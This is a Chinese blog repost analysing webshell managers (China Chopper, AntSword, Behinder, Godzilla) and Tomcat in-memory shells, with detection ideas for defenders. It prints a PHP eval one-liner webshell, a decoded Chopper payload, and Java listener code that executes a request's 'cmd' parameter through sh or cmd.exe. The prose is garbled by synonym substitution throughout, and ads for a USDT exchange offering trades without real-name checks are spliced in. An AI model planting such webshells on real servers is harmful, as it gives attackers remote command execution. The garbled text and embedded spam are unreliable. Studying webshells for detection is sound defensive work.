欢迎访问本站!

首页科技正文

usdt怎么购买(www.payusdt.vip):四大主流WebShell治理工具剖析 | 防守方攻略

admin2021-04-1253安全技术WEB安全

USDT场外交易平台

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

前言

在 *** 平安实战攻防演练中,只有领会攻击方的攻击思绪和运用武器,防守刚刚气有用应对。以WebShell 为例,由于企业对外提供服务的应用通常以Web形式出现,因此Web站点经常成为攻击者的攻击目的。攻击者找到Web站点可行使的破绽后,通常会在Web站点植入WebShell程序,从而实现对目的站点的控制。为了逃避防守方的检测,攻击方加密WebShell成为常态,由于流量加密,传统的WAF、WebIDS装备难以检测,给防守方监控带来伟大的挑战。因此,防守方需要领会攻击方使用的加密武器,才气找到响应的破解方式。

本文将通过剖析现在攻击方常用的四大主流WebShell治理工具:中国菜刀、中国蚁剑、冰蝎Shell治理工具、哥斯拉Shell治理工具,探讨其加密特征,为防守方提供一些新的检测思绪**。**

中国菜刀

中国菜刀(Chopper)是一款经典的网站治理工具,具有文件治理、数据库治理、虚拟终端等功效。

服务端

<?php eval($_POST["Sp4ar"]);?>

其中‍Sp4ar是毗邻密码,可以随意更改。也可对服务端做一些混淆操作,防止被查杀。

设置

<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H> 主机地址可为机械名或IP地址,如localhost
<U>数据库用户</U> 毗邻数据库的用户名,如root
<P>数据库密码</P> 毗邻数据库的密码,如123456
<L>编码类型</L> utf8,gbk等数据编码类型
ASP和ASP.NET剧本:
<T>类型</T> 类型只能填ADO
<C>ADO设置信息</C>
ADO毗邻种种数据库的方式纷歧样。如MSSQL的设置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
在设置好设置之后可以对网站数据库,文件等举行治理。

在设置好设置之后可以对网站数据库,文件等举行治理。

通讯流量

POST /u.php HTTP/1.1
X-Forwarded-For: 1*.***.*.***
Referer: http://1*.***.*.***
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 1*.***.*.***
Content-Length: 690
Connection: Close
Cache-Control: no-cache
Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55

Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5 *** UUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJ *** lNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

(1)请求侧

从payload中可以看出,eval后面卡了一个%01的字符,这样的语法在高版本的php中无法执行,低版本抛出warning后正常执行。获取z0的值并举行base64解码之后传入eval执行,z0解码之后的内容为:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

(2)响应侧

从请求侧的代码来看,执行效果会被包裹在->| |<-中,抓包查看:

可以发现执行效果确实是在->||<-中。

检测

文件检测:通过静态文件的方式举行WebShell查杀。

流量检测:通过检测通讯中的eval,base64_decode等要害字。

中国蚁剑

中国蚁剑与中国菜刀相比,界面加倍雅观、功效加倍齐全,而且自界说的水平更高且开放源代码。

服务端

中国蚁剑的服务端会凭证差异编码器有所转变,但照样从最基础的更先剖析:

<?php eval($_POST["Sp4ar"]);?> //pwd示意毗邻密码,可以随意替换

设置

编辑/新增纪录的时刻可以自界说头部字段,选择编/解码器以及一些其他设置。中国蚁剑默认的UA头是antSword/v版本号,现在已经被许多平安产物符号,以是在设置的时刻通常会更改,改UA头的方式有两种:一、添加Shell的时刻在请求信息中添加User-Agent字段笼罩掉原始的值,二、在modules/request.js修改USER_AGENT的值。第一种方式只针对当前添加的纪录生效,第二种方式针对所有的shell都生效。

中国蚁剑的编/解码器可以对请求/响应侧的流量举行编/解码以绕过流量检测,在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个,解码器有三个。

(1)编码器

编码器是在发送数据到服务端之前对payload举行相关处置,目的是为了绕过请求侧的流量检测,默认的编码器:

  • default编码器:纰谬传输的payload举行任何操作。
  • base64编码器:对payload举行base64编码。
  • chr编码器:对payload的所有字符都行使行使chr函数举行转换。
  • chr16编码器:对payload的所有字符都行使chr函数转换,与chr编码器差其余是chr16编码器对chr函数转达的参数是十六进制。
  • rot13编码器:对payload中的字母举行rot13转换。
  • 以上五种编码为中国蚁剑自带的,不需要设置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
  • RSA编码器:该编码器默认不展示,需要自己设置。设置方式:在编码治理界面点击天生RSA设置天生公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。

(2)解码器

解码器主要是对吸收到的数据进相关处置,目的是为了绕过响应侧的流量检测,默认的解码器:

  • default解码器:纰谬响应数据举行处置。
  • base64解码器:将收到的数据举行base64解码。
  • rot13解码器:将收到的数据举行rot13转换,由于英文字母一共26个以是置换两次之后会还原。

通讯流量

(1)请求侧

针对差异编码器请求侧的流量有所差异

默认编码器发送的数据如下:

base64编码器发送数据如下:

chr:

chr16:

rot13:

rsa:

(2)响应侧

接纳差异解码器响应偏向的数据也差异。

default:

base64:

rot13:

检测

1. 文件检测:通过静态文件的方式举行WebShell查杀

2. 流量检测:针对差其余编码器流量特征不相同。

针对前面1.2.1中的前五种编码器,可以检测要害字。

针对rsa编码器:由于数据完全加密以是无法使用要害字检测。仔细考察加密之后的数据可以知道:在长度足够的情形下,每相隔牢靠的长度就会泛起一个|字符,剖析编码器可知,加密时是先将原始的payload举行分段然后对每一个段举行加密并以base64的花样输出。在rsa加密算法中密文长度即是密钥长度,明文长度不跨越密钥长度。由于payload长度比密文长许多以是在加密是必须切割,然则无论怎么切割加密之后的数据长度都是都是牢靠的,以是在检测的时刻可以凭证这一特征来举行检测。由于输出效果是base64编码的以是每一个段的数据的字符都是在a-zA-Z0-9+=/之间,每一个段之间都有一个脱离符,当密钥长度是1024位的时刻,每个段的明文长度是172,该编码器默认天生的长度是1024且在前端无法更改,然则可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来替换密钥长度,这两个文件可以通过openssl天生。

天生方式如下:

  1. 天生rsa私钥
openssl genrsa -out key_rsa 2048
  1. 天生公钥
openssl rsa -in key_rsa -pubout -out key_rsa.pub

然后划分替换key_rsa和key_rsa.pub即可。替换之后可以发现每个分段的长度显著增添从之前的172酿成344,当密钥长度增添到3072时,分段长度增添到512,同时加密所需时间显著增添。

冰蝎Shell治理工具

冰蝎Shell治理工具是一款盛行的、接纳二进制动态加密传输数据的网站治理工具。

服务端

相关链接:

《行使动态二进制加密实现新型一句话木马之Java篇》:

https://xz.aliyun.com/t/2744

《行使动态二进制加密实现新型一句话木马之.NET篇》:

https://xz.aliyun.com/t/2758

《行使动态二进制加密实现新型一句话木马之PHP篇》:

https://xz.aliyun.com/t/2774

设置

现在冰蝎Shell治理工具的设置仅支持署理和自界说HTTP头部。

通讯流量

(1)请求侧

,

U交所

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,

(2)响应侧

检测

1. 文件检测:文件的特征主要在解密算法部门和执行payload的部门。

2. 流量检测:由于最新版冰蝎Shell治理工具这个交互历程都接纳加密传输,无法接纳检测要害字的方式举行检测。相比于2.0的版本,3.0去除了协商密钥的历程,但这带来了一个问题就是,整个历程的密钥是稳固的,同时剖析冰蝎的源码可以发现:在传输php,jsp,aspx时前面的字段是牢靠的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是assert|eval(base64_decode(、csharp是dll文件的头部花样、java则是class文件的头部花样。由于asp(php无法加载openssl时)接纳异或对payload举行运算,凭证异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位举行异或获得的就是密钥,再用密钥对整体数据举行解密即可还原出明文。

3. 异常历程检测:当冰蝎Shell治理工具执行下令是可以发现系统中会确立两个历程(父子关系)来执行下令。

当启用虚拟终端时同样云云。

哥斯拉Shell治理工具

哥斯拉Shell治理工具与冰蝎Shell治理工具类似,通讯历程都是加密流量,工具界面如下:

WebShell毗邻

作者已经内置了Payload以及加密器,以JavaDynamicPayload为例,我们天生一个WebShell查看代码。

Unicode解码后裔码:

字符串xc为自界说秘钥(pass)MD5的前16位。

拼接自界说的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:

抓取毗邻Shell地址历程数据包,一共举行了三次请求响应:

JavaAesBase64类初始化方式如下,加解密方式与天生的WebShell相对应:

流量端检测思绪

围绕流量测的检测思绪,由于其流量加密的特征,实在与冰蝎Shell治理工具想法大致相同,往往需要多种弱特征连系验证,如可以通过剖析Shell毗邻历程的简朴固有特征,连系数据统计剖析来举行检测等。

内存马

内存马特点:文件无需落地,加倍隐藏。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener

(1)Servlet内存马

以一个简朴的Servletdemo为例,接见url,查看tomcat对应的挪用栈如下:

我们知道通过web.xml或者注解的方式可以设置自界说的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自界说的实现该逻辑,就可实现Servlet内存马。

Servlet3.0更先提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:

确立自界说Servlet

使用Wrapper对应举行封装

添加封装后的Wrapper到StandardContext的children当中

添加ServletMapping将接见的URL和Servlet举行绑定

如234步骤实现代码如下:

// 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();


    // 用Wrapper对其举行封装
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    newWrapper.setName("sangfor");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);
    // 添加ServletMapping将接见的URL和Servlet举行绑定
    standardCtx.addServletMapping("/sangfor","sangfor");

(3)Listener内存马

请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是更先被加载的

当设置了ServletRequestListener时,每次请求都市先进入Listener 举行逻辑判断

Listen监视器分类:

ServletContext监听, 服务启动和住手时触发

Session监听, Session初始化和销毁时触发

Request监听, 接见服务时触发

我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:

自界说Listener

挪用StandardContext工具的addApplicationEventListener方式来添加Listenner

(直接使用ApplicationContext的addListenner方式来动态添加Listener会举行web容器状态判断)

主要代码如下:

//listener
ServletRequestListener demoListener = new ServletRequestListener() {
 @Override
 public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
 }
 @Override
 public void requestInitialized(ServletRequestEvent sre) {
 System.out.println("requestInitialized");
 String cmd = sre.getServletRequest().getParameter("cmd");
 try{
 //获取sre中的requestFacade工具
 org.apache.catalina.connector.RequestFacade requestFacade =
(org.apache.catalina.connector.RequestFacade)sre.getServletRequest();


 //反射获取RequestFacade中的request工具
 java.lang.reflect.Field connrequestField =
org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request");
 connrequestField.setAccessible(true);
 org.apache.catalina.connector.Request request =
(org.apache.catalina.connector.Request) connrequestField.get(requestFacade);
 //执行下令并回显
 String[] cmds =
!System.getProperty("os.name").toLowerCase().contains("win") ? new String[]
{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
 java.io.InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();
 java.util.Scanner s = new
java.util.Scanner(in).useDelimiter("\\a");
 String output = s.hasNext() ? s.next() : "";
 java.io.Writer writer = request.getResponse().getWriter();
 java.lang.reflect.Field usingWriter =
request.getResponse().getClass().getDeclaredField("usingWriter");
 usingWriter.setAccessible(true);
 usingWriter.set(request.getResponse(), Boolean.FALSE);
 writer.write(output);
 writer.flush();
 }catch (Exception e){
 e.printStackTrace();
 }
 }
};
//获取standardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardCtx =
(org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources().
getContext();
//添加监听器
standardCtx.addApplicationEventListener(demoListener);

(4)哥斯拉Shell治理工具实现内存马

我们再回过头来看下哥斯拉Shell治理工具中内存马的实现,内部实现了差异webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎差异shell的实现逻辑截然差异,凭证其shell治理工具举行了修改:

(5)内存马检测

有了其攻击手段的实现,防御检测思绪也不停更新替换,上述也仅仅是tomcat的实现思绪,差异容器框架的详细实现也需要对应的举行封装修改,但其思绪大致相同。

万变不离其宗,在主机侧,我们可以通过以下维度是举行检测:

  • 攻击行为固有行为特征
  • 差异于正常营业的特殊共性
  • 高危敏感行为检测

网上已有不少主机侧检测思绪,如:

  • 焦点特点均会是被加载进jvm的类,即思绪为遍历获取每个类,通过类黑名单、高危风险类筛选检测
  • 内存马不落地,即内陆不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特征,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)举行check

我们也可以通过RASP手艺注入监测阻断恶意敏感操作,也可以到达对照好的类隔离效果。

总结

平安本质上就是一个攻防匹敌的历程,随着攻击方式的不停升级变形,防守再也在不是一成稳固,恪守单一防御检测手段,只会止步不前。而在WebShell检测领域,随着WebShell的更新迭代,流量测加密、加倍隐藏攻击手段已成为趋势,防守方不仅要在流量检测方面提升效果,在主机侧检测也需同步更新升级,信托在不久的未来,检测防御WebShell的手艺也会加倍成熟有用。

参考链接

https://www.freebuf.com/sectool/252840.html

http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/

https://my.oschina.net/u/4593189/blog/4805061

https://github.com/feihong-cs/memShell

https://gv7.me/articles/2020/kill-java-web-filter-memshell/

值得一提的是,笃信服连系大量实战案例剖析,宣布「二四二」 *** 平安攻防实战演练防守方案,有用辅助用户提升 *** 平安防御能力,实现「始于演练,精于实战」。

网友评论